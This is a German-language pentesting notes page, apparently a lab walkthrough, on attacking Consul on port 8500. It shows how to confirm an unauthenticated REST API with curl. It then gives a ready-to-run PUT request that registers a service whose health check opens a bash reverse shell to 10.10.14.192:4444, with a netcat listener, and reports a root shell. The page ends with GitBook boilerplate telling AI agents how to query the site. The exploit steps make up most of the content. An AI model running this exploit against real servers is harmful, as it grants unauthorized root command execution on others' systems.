> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/consul-8500.md).

# Consul - 8500

### Entdeckung von Port 8500 (Consul)

Port **8500** stellt die Consul-Weboberfläche bereit.

<figure><img src="/files/9f7294dfde1510fa98a89ac5a1bf7a0ab067fee0" alt=""><figcaption></figcaption></figure>

Nach der Abfrage `127.0.0.1:8500/ui/`, Consul-Version **1.19.2** wird gefunden.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/00cfea6aea82ac96f78821038b3ff132ae571479" alt=""><figcaption></figcaption></figure>

#### Überprüfung des Zugriffs auf die REST-API

Prüfen Sie, ob die REST-API von Consul ohne Authentifizierung zugänglich ist:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Die Antwort bestätigt, dass die API offengelegt ist.

### Ausnutzung über einen bösartigen Check

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registrieren Sie einen Dienst mit einem bösartigen Check, der eine Bash-Reverse-Shell ausführt:

```bash
nc -lvnp 4444
```

#### Registrieren eines Dienstes mit einem bösartigen Check

Consul ermöglicht die dynamische Dienstregistrierung über HTTP-Anfragen. Missbrauchen Sie dieses Verhalten, um einen Check zu erstellen, der einen Bash-Befehl ausführt.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Verhalten der Nutzlast:

* `Check.Args[]`: enthält einen Bash-Befehl, der eine **Reverse Shell**.
* `Intervall`: legt eine automatische Ausführung alle 10 Sekunden fest.

Beim Ausführen dieser Nutzlast erhält man eine Root-Shell.

<figure><img src="/files/554688e44fd106463a2a6481a6a318bd160f99a0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/consul-8500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
